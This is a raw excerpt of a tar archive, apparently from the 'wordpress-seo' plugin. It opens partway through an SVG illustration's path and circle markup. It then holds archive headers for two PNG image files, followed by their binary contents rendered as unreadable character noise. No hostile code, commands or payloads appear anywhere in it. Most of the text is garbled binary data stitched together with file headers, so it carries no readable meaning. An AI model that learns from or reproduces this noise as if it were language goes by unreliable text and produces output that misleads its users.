2.5 19.55 5.76 3.06 1.88 8.65 6.09 9.35 9.38-.23-.4 1.29-1.44 1.01-1.44z" fill="#efb17c"/><circle cx="38.13" cy="30.03" r="3.14" fill="#b89ac8"/><circle cx="60.26" cy="39.96" r="3.14" fill="#e31e0c"/><circle cx="50.29" cy="25.63" r="3.14" fill="#3baa45"/><circle cx="22.19" cy="19.21" r="3.14" fill="#2ca9e1"/><circle cx="22.19" cy="30.03" r="3.14" fill="#e31e0c"/><circle cx="26.86" cy="8.28" r="3.14" fill="#3baa45"/><circle cx="49.32" cy="39.99" r="3.14" fill="#e31e0c"/><circle cx="63.86" cy="59.52" r="3.14" fill="#f8ad39"/><circle cx="50.88" cy="50.72" r="3.14" fill="#3baa45"/><circle cx="63.47" cy="76.17" r="3.14" fill="#e31e0c"/><circle cx="38.34" cy="14.83" r="3.14" fill="#2ca9e1"/><circle cx="44.44" cy="5.92" r="3.14" fill="#f8ad39"/><circle cx="57.42" cy="10.24" r="3.14" fill="#e31e0c"/><circle cx="66.81" cy="12.4" r="3.14" fill="#2ca9e1"/><circle cx="77.95" cy="5.14" r="3.14" fill="#b89ac8"/><circle cx="77.95" cy="30.34" r="3.14" fill="#e31e0c"/><circle cx="80.97" cy="16.55" r="3.14" fill="#f8ad39"/><circle cx="62.96" cy="27.27" r="3.14" fill="#3baa45"/><circle cx="75.36" cy="48.67" r="3.14" fill="#2ca9e1"/><circle cx="76.11" cy="65.31" r="3.14" fill="#3baa45"/><path d="M78.58 178.43C54.36 167.26 32 198.93 5 198.93c19.56 20.49 63.53 1.52 69 15.5 1.48-14.01 4.11-30.9 4.58-36z" fill="#71b026"/><path d="M67.75 251.08c0-4.65 10.13-72.65 10.13-72.65h2.8l-9.09 72.3z" fill="#074a67"/><ellipse cx="255.38" cy="103.18" rx="1.84" ry="1.77" fill="#fff"/><ellipse cx="221.24" cy="94.75" rx="1.84" ry="1.77" fill="#fff"/></svg>wordpress-seo/images/ai-generator-preview.png000064400000042025147510273100015372 0ustar00�PNG


IHDR������PLTE�����������Ҝ��m�1�?innq#O�456�S/�C�IDATx���Ok�H��g$A�#[`�&'ӛ�n�%0�nj[���z���n����$�u�*���$��Z��ʲk�y+B�i�F`��,�O����`!���X�k<,�O����`!���X�k<,�O�5�?�uX�k<,�O����`!��VL�7���GB��/����>d
�y��`}Km��H�e�����aE������"�談�TS���R��'X���VkzM����K�#��u]�C]�DӺ�n=���S���E��m�L6|�E��dZ�|X��d�.*���rX�"�T���J
-�Q�1�z��v~(�zY�)�r�`Y�t^㬧����G&�%����a��ѐq��i�֥7;��BYp��Ų���k���a�k2{�����B>��K�����a�Dq�C{U��u…,�Ú�4��X%彲G
�R�T��>v�mqG� tA���pqݰ"��l�&t��y�%)��;������a9Mw��ȥ4�'6�lև��#YF�"���
�o�}"r�����--=,���O�B#7:�k�Ӧ����d�Y��vtS!�.;a�ŕ��h�������a��
+`�Xr:?Ȕ�%�ly0�v�4��.d�%�]���g���&q�3��?��_�V�gg��[I��������u&35^๨ЖD��U�z���]c��oz���5��ﮱ2�dI��f?�ʈd����p��֚�Evհh�E�}`�óŽ".��|zV�v�������+i�P�d��YaԤ!;Z��%�+|��#����x�vKi`�[k��U��������_��z�M��Mp��v_�^��~��.��ټ�y﵇�,��â�!�����;d�L`�0�'�P�k딆�
5Ѣ���+�쇗���Z���
I6����ۺ�����z��iH�]$�V�;
?��O�[xw`�`]�pi��{E�	����17)`�`}	,
�:;��[���k�,�O����`!���X�k<,�O����`!���X�k<,�O����`!���X�k<,�O����`!���t�%�֯�J��k�3����_����M�펄>X�kɭ�Λ��>	�~���=�iE���O�V��#�J�T
�a%�u���a�.r�W�]�t:���h�|m�2�(��J?y�EE���Xw�M�-g.��0]`�u��XѰr�L�g-��Vh�w|�o�<�\D.3]�������L�Ѣ��}�e�`]���32�������^�n���9殛�$œ܅(����e�\:s)Yn�{4��#�%��}���]�.�M�
�.��
�;˵m��9��L��7�3��]	GI�.q�������t��^/�������4r���"���Q���օ�H�r�.�8�V�e��Bv�(�^6Y�n7�E��	V­��[X�u-g�L�F����m]�g���K��aޒK�r����"Qǭ��Q`]k�")\iY��ϕ�}yI'�����V����y��V,�O����`!���X�k<,�O����`!���X�k<,�O�����u�������[���uS?�צ�Ç梛����	���]�ezð���}|��5}aI�4���7K���4Y���D��9
�5I�Q��]R�y�~Z?���s}�AJ���G�\����D*~8Ґ���ZG�(p?���3=���8&��Eu[v�-�͈hz�����7�\�k���u�O�|�(w�aEǟÚ=�)�$����r����|������z`�u�珿��<���xP�K�4�����a�s�����~���~�VL���c�w��t3]
,Uk�����6N�'XNS`��k�"bіn���A�I�m�)�5iPkZg��m2z+�cRI�v�mAɮ�a?��k붴h+R��ݒ�X�2���]��:�Eq�'���S��
*�)�����	g9G�KCgZ�	,?�Dd��sI9�1�)S��a.�_biR��������Z��?����Zvf.�\Vӆ��m(�~��ĭt5�Š��tR�/p��Y�(�W�r���ˏ=ӯ�v}`�����nSz+�ҩ�;X�>r+�
�)�d��9�˗)9���rՔ�M��a��,��v�ޯ�V�`�WX���S�hه�Q~���^�)r�����5VT~����q��ݸ�/?�*i�yX��7{�כ���4��M��6iz�K��f�&d�F%����U�t�=��yBA�H�_�)P��9�J+Xcu(5X��CA&un�_8����:{u�X�^[�����,i�l�N�B"F���$$��7F�o�dŒ`u-��B�kl��8��u"F+f��
3�d�v��ʩ�lJ��2�u�v^;�GX,�?��V��4x�����s�;�X'X��tr��4�����	֪�����<�S&/�Ǫ�r5������w��XK=X��
���+�X��+!/�`=�b����Я�x�tj盔�%����p�%5:��I(�.�v�4��tX=̏��E$d�8�x70/K��Ͷ�5��;�'�b���}��ӝ���
V<�X=�v��s���@�����k[���A���l��u��{ٷk�$5^MN���
���!�d66,a��y�3��2kJX3;o�|u��cx[�;�3e��My+[x�w�
��d����l��#�i7R�	��e��2*׽<�6vG���w4�y{�ɺ+�$��I5��&mi��Y�R�z[��|���&j�|�˷4�}�
�I2]Hc�;��M���w4���\x;��tY.N���Ӗ�|��#:%е�D՟��T��j��=]i7Q��3a��5��EU���}7�X�A?M�?�W���y��\Z�X�^�_���z��^�X�K���=(a��|�8��?����k��>��;,�5,��;,��;,��;,��;,��;,��;,��;,��;,��;,��;�+Q~�?.V���N�K�H���듰|�MX�K
Wm�u;��i0��*�5Y��X��GZ3κX��g,�\�}�'`�~W��Z�X����~�5'�/��êGE�΅��qX�R���e�'`�Zu.�X
�`E���I1ĺX���DŽ���/���wI1v��+@��˧��'`��,��V�X�aE�X�բ`�S!`�z�����6�������cuVD⥚��{
�Z��55'�2<�9�V}�8`�V���
ͰF�c�Ԣ�߂�|�e��67X�)
��V�Gc�q�)��KC
4!��yi�f�
V�NHEc��q��G��"/OH&R��*U*���j��ړe�$����Dq���8�#*Xm�5X>�`�| c��qAٜ�^{��U�6$����-�|��s2�H1۲pd�����Ey*�[�[�����ޞ�M;���������ѫV�s��7���
fYf?i���s��d��c�%��[�&�b��	���~w5��-*XRg}#�#.��˲ #��m�$�~Ί���v��Յ\���st}����,S�����(�ka�oAI&���x���x�C¿���g|JҬ{���d�g�3�����ĮյʅO�(Z��^�b���Flz���U�9%O&���WN�9��eE۽	��ʄkX��"JA���i��d�?�[u��x����&��X����8�X<�W޾:o`m�K,�:Z���Q$�m�s)�4��EΌ&Vݪcl�u t�sV�(ރ���,)&Z���+C�8�ϖ�7�'��Y7��7�m����@�5^K����nIt�w�,�Ғ	��hn�6gP�)j,�!Q�9���i�l.y��՟jv6�=�udo���c�˿���(��,��h��`=��d�,EZ�������rd��kˮ�.W`���y�|�u�᱑��2��+��.?�J�#���q{n���XY�Rn�K��`9�Q�#@�X
-X�X�|+��m)�w��t���`հ�Lٙ���5�uǺ�ER��Q2
?��+ÂO`���We/`�6(����Џ�]�(��#gƾW`�:oF�BK!���mnC�N�=���;�BV]�tul
���_�o��b��R�Ք5'�Rރ|��ĺׯ
v��ւ�ڮ$�յ�ͼ�(:�`a�!�c��
��'ڮB�s�W���U$֝k/�.�'�k�u,���JP%�*��`�D���VD�%nKt`�Q{�;tґ��:o+@�x��xe�_o`%0/��!���3�ID�Vƃ�`����F��ָ`ŪQ��@Vzu^���q"��cˊ�e*e,V�S�pF�����J�H��-sS�l�M�7E����`K�gJH6�.e֗.S[�g�R/lD�0�5X>�ʔRE�-��}�x�3�$n��Mk}���LyN���?֌އ�f���7`��k)�A���i4:���(1�5*XK��-[H��O���WҟG+<v���~�Xi����5�Q�?��V�����e�j��
c�=Xk]O`�
�B����k��F_
y$������	���wƥL}�P�tV8�u���6M�3�H`�X#��![*%e>�_d�zZ
�Km-XE������^����"]2�9X�/����"��Z6�	�uAd;�tVx�
�g��K�"�)X���ťfW�9�?�W6h^�����F���.��7H����v/�+h�߁5�ُ�y��F���͑����x�E�)����]?(�s��7��5�����\�p8��"��!-8�o}��m$�>����q���$æ.����q��p��W:�R�*�^	3�x@N�
˄��N��e�x�lz��u#58cN���.X�Y�<�l��B���N�*/x��Y��M�B	�2�c1{��=�e��SıR�N����1lg�	���?��
��	��J�;]�F'�pW��S>�L	8�ֹ��ڍDJ��	N���èwM��<NN��1�;��2qt����-X���L[[��Fw�U�S�u�����s[MX���������܂5;qi�ֵc�ro]�O��j�XƂ:@J��F����w6�i#a�h{W��{l$'7�_c{f�)ǖ|n�P���Yj)M6hw5�>?����*���m�Tj��+Nv�2\�u@��{�)D``Rړ9�0~&�N�CzP�����K΃S�,�Ŷ��“��>�-��]V�2Ђ��u`��+[hԕj�e��I!��4KG;��uY�U1���'�V2��6Q��-�*j�ƅ�myL=��f�<C��Aa�eI�=̞q�V����~ x�+�U����
4�zd�ѹyj�6iH�dm'���+a�FV�*VX�8
bUH�{]��di�U-��ly�$)���@X�L,���y�l������X�d�b��ǟ��u��^���d:�R[�����X49+רX��_˟V��F�K�P��JagW���+�U�0n���(S�bA�uYϧ�h+��o��R��
��E,��JTk-�}Rx��=z�ZT����v�Z�E)L�ub-�k$r�U'FQNEb�qR��MK��I�b�g�Lbm��A���s���aGb�{`���b��UG��R��}�C��y���#,(ZϪ}�:�dۼ�&3���>�e�X�<�P{f7֒r2W�.b�^���Km������T�� �x��
��A Vp.�o���X "D�����,M=�^̌Q�����r�����b�-mD
1�먤��SfM	Q-C-(G�.�c��#f�h�w5z9/�t��K!�v���ت��ؾ���r���>H=�S�7�#���	�G��N
���F��("�l��s엃4�h}"�UJ;q�D��QR�Ÿ�� ��̮MpI�	��v����R\VJ|�
R�pW�\K�6,��Kb
Ս��z��w`�����b�a�\��b�X�>,�˰X,�Շ�r��b���X.�b�X,V�eX,����b���b�X}X,�a�X,���2,��b�a�\��b�X�>,�˰X,�Շ�r��b���X.�b�X,V�e~���V)̺�b�b�����,�H,�BI�M~ �_*+�~;�q�o�I1[��J|�a�����2�Ue�b9��
�B�͓x�>�n1\���F��%h�����H�_1U5`�b��Mb��&�N��Q�A�y�O��4��*�e�)f��&��f���
�wq����G�O�	�yʈ��?7�t
�X,�I,�/ˋ>�r��q�%���zC��zb��r����l"�/-~sl��M�戕A�J��Mi�w')�͚U<�����R�e����v���nhcC$�=���x+�7�b���]��
�1���\��e�$��t�
r�m�ά��EД�0X��ʏ�W��+ˤ�|ĎݡJ`���)�+������mA9���ib~m
�=�kt5�r�� �u-T
�w�z��C���!ͅ��6�Y��J���]h=�ؘ�U�g:݋�U��O��X��XI�^@44���Ƹ�l�6O�i�{@��1����`Ѭ'�XY��MS�.
�ǭ�k%��O|�H[��إ.��tGH
���r�w�‡�U�ͼ�i�Ov�`7q$��Hsm��h���(��[2y�
�����	�m��jl����c����Q�SW���������ۢ�����2ڒ��<�X2XL��M�"w�~�X�
��L��p�9V�1X 
�3��	⬔�r����=��A�LFe+KHHPaĂ���\�
�pcoD�#g�,�w�\~V.`�O��i/"��!$/.��C�X�#�����s�&
X}*��1@�)��`�����gMB*X1ɇ����XvQ����uIb����_�Eّf5X�����m�y,�G�3���,����ͷ���j�>�'?��`��{�}�
�u|�Bh�� ��?�3�L�5���S���Fkm�)&HA��b�0Ge�K�«�W�>�����#��$_ٛ�l�
��v��Lr�����H��ڨw�r� T<��4��+��y�2��WT��Ӛ��s4�Դ\�m�޽16L�@nSc����ү��&�켷RG�rJ��֠��<�����n*�ç��ۧB�,�m�1f��)���ۧ�90z
Vn,�
X=����RG��	��xA����\�L6;�!h�*�4�]p`]C=%|J��}��a�L�
y�=�&'���
;匀
�6��͒N?PR�����,��V�Xu��Q�e	J�抷�����,:����=|�U,���C���r�ny�~�`����,�g�q7V�]Z���B�)IkJjPn�ҾS�d��9�sn�к”��]��T��2!n�ֆ�9=�ۚ���
҂nĶF�j������0�E�g�`&�a|�[$\�����5�AB�D��ad����3��EGFOJ�ai���}]�n��>�ͺ�ȫ�m�1���o���)H���
�ky�ּ��q��p�j�wBt�i���z�m-p2���~�eO�|S�2E+u�����{��s����%`}9X�ጀ%`���|�^��Xz�S4�|K��$	X���˕�%`	X��H��,�r$`	X��u9�,K��	X��������s��
X�9�R?,�`�[K�:XZ����r,�`����5ա���_r�A�Cg�:Ԁ���{�o��w�<�X�� �"֧�ҷ�Y�Jԁ�,���Y�PN����fY�zY6W���j��u�o򉈘ޫw5�Q#wc��g����է�R��u��,=��Qg>�t�&�ҵ�����rx�ɲ�˩`�w��1X�zlt�y�TW�:X.-D�J�:	����ӕNf���R7��N����~���/���c>
t+`}=X��d��H�ѓ��t�C���*���~�f����?����r��WN��'��(8��H�Q<�x�DF
�w+�M"�&��(���p�)5]x(��E��4T�‡:�D��c��h8W�$��I�����`�V��d>
������튥�J'7Y+�X�S���e��b��\m�o8��Z�2��W�jZU/n�ħ���{穪��+�(���Х�p}Um<�S�F�Hwp�8�����6�4{��f�u��v4Vv�XA쌍�c��Yǀ.�q����Ͽ
��̙�1I&~��twU7?E��P�&{��7�j������2l
V�`���J�{k\���T3��E��ںk8#qZ��!�
m��4+�yh�b��A�Xr��w�܊b��bc�X�Y�V�4*Hy�v~�=5�ء=��L:�7�a�hv}c��r���e����,DS��!��o�-X/����8Yi����"ټ��1��׻v�~��##�jcR�Ig =S쳽���8�Em���g��9�ʋư�'�AA{��ˡ�a��)��-64m�D9�����,�
֕߂��
' �������(���%p��n(��z"�Dl� O�pH�I�`��]��D�i ]�>��&I�Gٱ5k2U�q=�3g�z��H%I�w$wS��P0�@R2Xź,K��/Xv<6�5*
�:a~ph�C`M
Tm��<�*��KA6!6O^M��x�KN:��fR�b��'$q�1�	X\/|+U��z6,9V��fH0Z-X{B��BN��_˰5X����UR��j=�M u`��(Q�n��ȷ"�.�
!����;\�y�rQ�|�r[F�)����H�-d�>�z�(�/�X��],�7�`�f����X�o����X�%�S��<��"-��0��̕�q�r�3Yi��z����.�|Մ�� 4�ؘc�VOD��w/�­�J֢�5���iũo�=-Xh�b�ܰ��|�`����Z�����Ն�V[GX�`��	�j��j9���jj9R�Z����!�r#…�D���q�XY1�DN`�z�|k"����qC������L��d�%����Ө��2�'�4�
,��`��]��Y�C�w�cUi��9ѝ�s�!�H%-q��L!E�b��U���=��}L)��D�XT涨D

*�`���ת���z�#YI�͌��-�D���kb,�X��X	������.�$I7T�"eނU�ʷ��N �
_gƴ�P�F(JJ���1S����f�ϫ�M�S��� �*����Z�.�
(��cW�0xcN���F5�~�,�Q���|,	O�4�CeN��c3�;zƅ�sl$����[���9�Ś�ݝ7@���e%�ɝ����r��t�����`��D?��Ώ�����{����,��`�$|�q���֕�M��`qտ�o�w���_��G
V�`q�ҿ��������ҋ)Xz�i�4X������`�X�,
V�`Al
��� h�4X��y�`}E��+�
��g�ei�z��k�t���N����^�M����2�%L������x|����+�뛾��-�/6؝^뜦�&����L=l��֘F��)h��Kh�ew8JI�b�����K�]�J���*OaX�?k\\8,���-Q@�Rx�����9#wk�����,���,�7��u�=�X��`��h������b$Ղu,K�:�X��:9���.'G�,�Ð
�~��r_ڻ��X��^�
+^�U�cB�J�i�|Z%O�܊�4�U�@���tƹ]��o&��͡*�r'(S����*�K�F����
���*��1��qUzf½-3�6�wPf���|�Fs�M���m�G��M�I���dˢ �k%9TtL�5���R�g�y0*dT�ԤS�B	�8T
���B�=�
QIo"����FhfV��4N�oc����`Wp��<�5iک}!�L��h��a��>�GK]u1����XQ3��;���2�G��W~��y6zX7�f�Q�<>9������Gh�Ӱ�%����\����b2��?<w`�jŋ-����`E4�v���)�<,�uMQ��η��F`E5N��~O=�e�X=�������1O6�dT?�]��1�
�
$��Y{��Lj�Xb��xA򰍱���.]&gE���6��!xW;�c���,���)�CЀ,�̪�r�<����>�&��H�&�\��z�5X��e�����ko3b�Kvw�X��*z�U����@`50���7Ϻ�F�jN����v`	��k�y�=�u�{�./��;�=w����	PW�hJA'r=Xc=5�7��R�}���8�ȋ�.�eq_RJ�܁��-w`���
ᝀ5i��	Xl�ǃ��=3X�`�h�e؂�ⓧ^��s5X�^L�ۭPlg��`]x�ɉ�*�`��9J��w����y�σ`ԁ��Pf�p�l$~�ɭp ���c=X<"Nļ��
�3�e�����f!����^��c��੘4����K�"���ڞ�&&��8�_�b��d@@l�j$	5z�U��q���{2mG���-�jt�uczh�sg�n$:_�Ƃ�S�����^���S!�B?*FX�V3c���h�#Xj�S�\�͖�vO�z*��Tx�b[���B��T��T8 ;����~{̼����S�ڥ�l���{�`�%�'�`�B��v`�B�6�T0X(���c��1�E��l�.���6��8��-��+;z,����>��;���~:�@�C�!5j-wFj>�WXdK��{ׁe���V�RW��I|�Z&n��o����L�6��<f�Qǃ�IK�2�1g�=cM*�\��K��[���9�	B�N�%e��0�V�l�̻G�x��Qo��x�y7�d���7Cԓ��Ŀrvã�W��ݜJ�H��T�8ݞc �P�sցs�~)���\��Ȼ��������~��}�D?J����ڧ�/�Zlޢ�ؿ>�ܥM��l����c�wK4�[�F�kq(���d�O
և�eR���w�<�_�4�ne}�8����_�����)F��w�ҟ<�`�H�G�.E���`}ӟ��`�X�������7�5X�֣K��K��i�>,�3߸Bf�e��|��M���Dz��`}XV��5{U�w�B�7�&ldg���gB�N7o�<���25X�xM��kʍ�6���4?Y,y�y�jgoK�{��i�`}*X�j�3ҵ��+##��7�5Z~X�_��k���:�w��^�=�;�>b/��������z�-�f0��#aĭf�4������V��-���\�<��†��AB�&��������B.�-���H�t�j�o0_�D����
�{�u�ԼP~��`��*-ZlS���M*���n*�̌��ӂQ�~��Ͼ.���y�%]IK�U�q�p<�f@F�P9�m<���7���d�)�؃=�y`���n`(t��YT0��Z�Ё+����i��O�A&"'�T�RԖt�&m��7��fB�cU8��@%Yc	Y
"%Q߫�L�2��M�7��dN�e��eV�r.J���8�	sI���h^ЙD����(�z��)��q�����<!ӱ����.a�b!��:�O�*j\^f�i�TP2:�O˷aPVCyR�����&�k��2�����RKǀ�?P3�����g˳}c	�h�KW�`��h&��h]y���Y4]�U�wږ�7������D��6�E�2���2>�Ѭ]A��F�@��\�虮�7� 5t����� �	��jJ����m
���b<�
K�y�j֬\��>�`��r��żu�d���X�0��`���n�d
��l�<�7�����]�e|*Xv�TV� +9�]���+�N���a*�D�L�5K,��=�-��L���R;1X����0�k�{acK�M/��g��
����{�J�]�
������3o���`5I�ᱰ��*��L��XU���e�����Z(��`�����
z���X�,>?�����Y��X�Dy-X���:�O�b�,�MK�����4v.o��;�V�o���w?x�����[a��µ7�,�p+�{�<�5����ѫ`况s��r���n�Lmˀ�b��:��kc<֤q�r���
܊%�������+o���t,6i����j���w9R1�wjB��X��
�����F����)X�a�t~��ڳp�cpƒ�w
֙|&X��Ax)Kz�1��MQ����DĔ�`�"�醢�g��2�'*UV�n01��3�(�3چ]��r�`M8�P^$�S�T�`�+AeR�S���#��
�3�T�J�M�*[�U:�d���f�p�s���h���o��S� ��3`\P
�:z,�b΍Ҧ4�	�5T�mp�Ԭ����9��'H�,K4@�)�9]N��
*��1ֹ|*Xf�2g��+XT����0���0�8�B�
������PC��0�v���pj��f��	n��Kc�(�	�g�'ku��=���h9tp����`ڍ�N�t*\5st��5�=��O�������y_
։|!���Ԋ��
`�VS�5X�X���k�W�*��,
։�u�0¤KAx։K��UE�u*,
��
���7*�3�K��eE����`i���h�4X,
��
���r��
�'�,S���z���<�6E�u&��٭��5X��`�n����	�G��V]��T>,�o4��`��{,�5s�
֙|��Y�)/�(��2>,�E�5��'/_���2>,�ȺE�`}�/��%K�
?A㔬���O���ޤh�>A���������u���_�n
,-��h��h�4X_G4XZ4X��#,-,
��
�
���K�K��uD��E����:��Ң��`�@�Y�Y9���r�걓k��`ݘ���d
��Y�|�$̃U�va��!s�Z9��3��Te�lwS�\��Ε���|���)�Voձ���f�^+@T�uS2����Xs���^/3
�M��{��'`-��e�h�nI~��Ǻ)�,_{,
��
��X7%�X�cݔ�>1��D����m��+
��w�B��V����,��{%S!�_k�b7�`ݪ0X�����!g�{��(��(k.�mݷȸpY��m��`ݨ�`EO�1x>m��c��?k,i?R�9X�ƽ����|T�N�ׂu���x
�I}�r�|�T�`9Y�D���zx>�n;�Ll�[�Z��jg2����P?��vu���˜9o�N=�ⱆb�9�K���Q��`��`�g�UTOQ���;
��
�)5,�K��]��L�¸S�X`S��C�7��_V���T�-Y����Q_�xR��5*�s�ia�]�B���l� ygk <�<��qN�;ݙ9'�|wy�����g�\ư4� a���x�Q�l*�%4�^;�@@ͪV-;Z���+_@g.�9(�+,G@���I�$��X3��s��i&B9��|�|�^�hb�J�������B����JWмJ/�\PB2��0$���U��E��{s8�v�Еd�!,Oâ�=�����nՑ���3�M���Ά����$T>��c(q�
QL�{�@ū���u��?�4^~qq.��:�Y�7VGh�Q^�,"�q4N�
�-ۚ����H=��P���;T5	��$,����c�*��D]WXZԉ-2��N8��Y��)	^���d.,�ļ+���"��*�9�DXa�~�J���*���Z�B�aF‚XwP9�pMI(v���*�Ε���8
ca�A=�Eq���k�����5��/��2���]%��C��1,��&ab��_B����`嵊s�z��Bq[�4��(��
P{�yW�8�@.�ͻ��+����֪#$�Ј�\���lۍa����$P�4,����wd���R�Eo�撬�pOs�w���;�m��,m#��qr����K��&x�U����R��L�Z�t+C,�����o�б��@��˅�\��*�\f7�8����~�rc0��Ћ�
v쐚�Q���k�1��`qp�uѰ��pb9��
��0���nX�u�~k�%!T\�`�:������E���	��	�eTF��Bt@=����:h�_�˶��.A���`�fA۔�6�il�n�N]�	+���������+��Q�
K��N$8s�E��m���X�Jy&��c31�xׁ�Fn�^?�s�i��"�:n᤿+,"d& ��95,8��f�#����jA%��O�
@�_���ސ*o�v�D̟�b���}��3�H)ԁ�-fM͚`fe�4^_#Z��ȟ�|�<��S������7�6hl��IXԳ�+�O��`m��~X�k��vX����VjaYX�r/�����,GN}�_2���`e�Q	RoKQ�������x�`eQ����g�c��J��,ZO�2{Ȯ����+�Eƿ��~��Y��Mdb-H~�I�3���"�z˨�,CZ(#�i�#ݶbW��W�uvKD�Io{��YXfe�	?6��ۆr���p2�W��'�ſk��#ND���ιa����o/8���0�c��}�g�G���,�Q��_ֳ����w�E���,�o�ѓ{i�?^�d"����Х�ViaYXߛ@쮰�=���ea}.t��N"!����E�͐�FEι�*�1&+GSn3$g�~ޤ�/�ħh�l��[��}u`O��da=�@��Už�}�o�,1�8�
���<0aфؼϲm��������c�x�M[Xַ�2�QF�ba},6��~ۧYX�aQ��sO���0bcaMâ�,�?���XX����eQ�(��1@���iXϯEڕ]�,�'a=�!��1����fO�E��6������KV��vY�s�F�Q:��|�˲���5,F�Lg���e���p�c�B�IX>��Q[H7G���^�:@�^ha=����M��r�5�����²��֦�Tq�)��V�&fh��,*��H�v,�7,�)XC���h4�R5�:DwX���-�~���-�a��@!�%��h���s���O��,��aeBVt���a�:���M��,,�?���j�X��/*�me�4�w�t�Z+H`�c�B9��c���&�v�hF3�RO����������Ir
V���/�fd�	X�\��Ӿ.L�À���V����cX�j�x�*`��q5,���尊N��ę�>���0`�ь�|:��=/�-g�]4>�.�e+X�(>kUcF��l�i��(�.��իB����XQ��)��\UK^i��)�N����fjG�Vus�N+~}��b\�#`�|]5ˣhd���j�69�:�T[ݚE|���0`�f�LU\
I��j�&G�f�!Ei�F�m4ӤƲ`�.�ϯY�7��,��/`I�K�G��a��>�`���H���_�Z�a]v�*��C�ݩݰ�����X��i�Nc,N��h��E�X�,��	X,`�S+aqY�����"���y!L���E��;��,wX�,��	X�_�����+�//i#���7
�]+W7���,G�u���,`]m�:
X�������X�]m?�(m#�(������w��X�,��	X,`��X�r'`���N-�奉Ho#t.`5��e�k�ͅ��&�nT�Nn�й����&#}(`yR�u��VX;�V���[Md�(��M����	�| �k;� �wϨ�?B'VXc�&�����v����Vרn�`}��.�jVX22��WX��`�X�`I8��WXw�H���\��(�g�`��X��	�l-R�����7��U�����}�+����V]�:Sr�#�LU��\-�š������n��������Y�T�jK�xZl�p��k�:��ê����D�T��}X^��:�~�t�O���\N��۝۰8��jX�,��	X�_�5�~gM�B����'Q@AFQ�%EQK�L�ˉ�P��]�T��E�I�"`˝�E��;��,wX�,��	X�f�����z�/���q>�.��m'U�ݮHm��9#
�>���,7j�
҃���-'X�r�D'9|��D�4~*`u���e���Z���Vר���g��ʷ�|`ҵ&/`�T
��u,�f���J'��]�uupg��vi�]�Ō�1ەX������eW��Z��y3��d���e�wlw랝t���u�\�6�E4_���:)w����2�=��ٮ�X�X����V_�v%�H'��{��de���)�}+,^�RX�
�v�\���f������L�
�X�a�:ϯv���y�Zo�+�`���F�|���c	k����N�z��j.�.��X:��X
`��J*X��u��3;��}���5�VX]��_����<�;��Q;(a��2VˮX��ŋD�t �iy�������i5$��N��X,�E��;��,wX�,��	X,`��X�r'`���N���D�յV���%-<�]W�"`˝�E��;��,wX�,��	X,`��X�r'`���N�"`˝�E��;�y���G�r(�`>�ږ��֎L �8�`C`��~�+��GƯ���U�ժ�$8[8���a���)�ZU�I��x EQ��8�]����k��pP3�5.V���X�j�ٌ5�����X��X���b���
V8{y��O~U�7��X�kf��J׿
k��C{.�~_T~���"�]ßa�IpI7���_�̦��9_����\ƏAp���)�ZM�5�+Ef?:�������&��<(��^�5-�ȇ�w��-(����'aZlR?(��~ԏ��'~{&LN�0=�_'�N5:~$oy��Կ�Nn�)c��IEND�B`�wordpress-seo/images/inclusive_language_analysis.png000064400000050464147510273100017113 0ustar00�PNG


IHDR�����`PLTE��ϟ��W��_�oWLEG5����jZ�m�yQ�M(��vᯖ~����g��ߤ'fm$I�m��)tΡ�vq���$�S)m9��������8����iP�IDATx�څ�D1@"���o�7�N��i}̙u#s�я����zQ���!��M�x�m����a~���Q7XБU"��G�v���6��w`�d�hY_r�*�^_4b)`<׻����^j��y��s[��P�娮$U9әy���X�pB��{S��,`�IW6Q޴�;[��n�@�Hf�W���>u �#�r�*������V�l*��(���	���O�~�5�f>�/=7!b�!��
�U5 �8���Y}�ao�s��5[�Ψ���[�;��sM�Sz�"�C7�sA/	��/��-���r�َ|B�+�u��^�XSk$5##�)���G���>��?�iSm$D11�Q���s�ycl�_߻�L� dž_Hf{�Kq����շާ��!��;6�
��]��?B�~��<C)��<z7�B���ߠ����&^�4}
��R\��^̳��M��hO�M�/,� �g�Z�~̡��-��3:�2��(�H"�C7�q��ЯO|9���C�A�G���5��š��a|:���C�P�Z�f �mɡ?��G����u<z($��f���6�x�~[�=�:̝φ^#@
q!�S2ۉ�������t��
O�~�	hD.��V���<���t�N�\z͹�E�@o�8�!�m��};�v���4V��u�N)�:]B�g�A�P�N�<�k�="�(��}蹠��Z��N���I8˛enf��\G΋?Co��s��ք���or>lY���/;o9��`��1�6��"�ݙy����\.���r:�Q���<wg�QOO���zuʵ.�#���c��s����?{���(Ϭa�2ѕ�V�t�����B��s�~˯kTP�j���Vœ�d!����i{����[���XB�~������(7�!�����C8x?�=qt����{���\�I����C�����!�Tw��<s���+!Tm������ҹ>��:�gP2٦�u�c7�C�B`~@��\��y��ˠ[��Q�����~R�yz�=w�Ɵ�BU�o�S��8�9o��4�c9T�*�{P�!�����"�*`���@��?�Lt��؍�N�p鏝��G2o���3o���|�c�=�5B�S�uT��7J��:~���Ƌ�ћ�)!T�����3g<���Qy!t�������鶇>�_��'�C��J�?��5��3��m߃䕃>B���{�.����9�#����?�n8)�7Ϡ�B����zH��C��tT�@���s��W�[�-��Gz8��
��҂�j|w���!��u(�gVD����F
�n�z)��tɻ_�XZr	�[�l��\�k��7��9u�<�/��鳵����{�k��,�Jy��tT
���L���${p�Zx���Ε��6C�Ϩ��[z�8�c��ʡG�#�PX���~��G.����BUC�/ޛ����+ĉ����r�)�ޥ?z�݇���!d�����S���>�Q	�z��Kq�}�^S��J�
��Y�P�1��9�tT�i\`��K���C6�Je}
t��8�[s��!����\���4CÒ]Ǥz��#l�sqq��V�K]�I��Gv�!�A�����Qէq�5;��N:$z�V�ZtWP�D��!�X��,:��n��%�*���s���t��Υ��Y�/D�!���r:�n����{~���9��4��4���?�NW�ꜽ�U���B�)v�.�҈,
��ɶ}���Xs�z���>g�#d�Z���ݝ�>i��g�/j������>g�#d�����-�]�|n�q�K���+w��ұGG���2k�m�,��ū����t�$�^�[f!���t�]���.sv<Bo���U����9�"�l�>�Ch��yav�E�s���^�s^��kW��]m[�-�}�.�Oq�_��.ڎ��}
��������HGߺvW�a���ng	�UG�	�*/膇htU�M,�e��@&&z|62g�ty�si�Vs��z�u@G��ta'��Ŵ�����&���9gm�r��B��b�J���H�8��S���Q<_�4Nt��-��]��UN%п%H��\�\�%9�z���,3�̹�vH��u�|
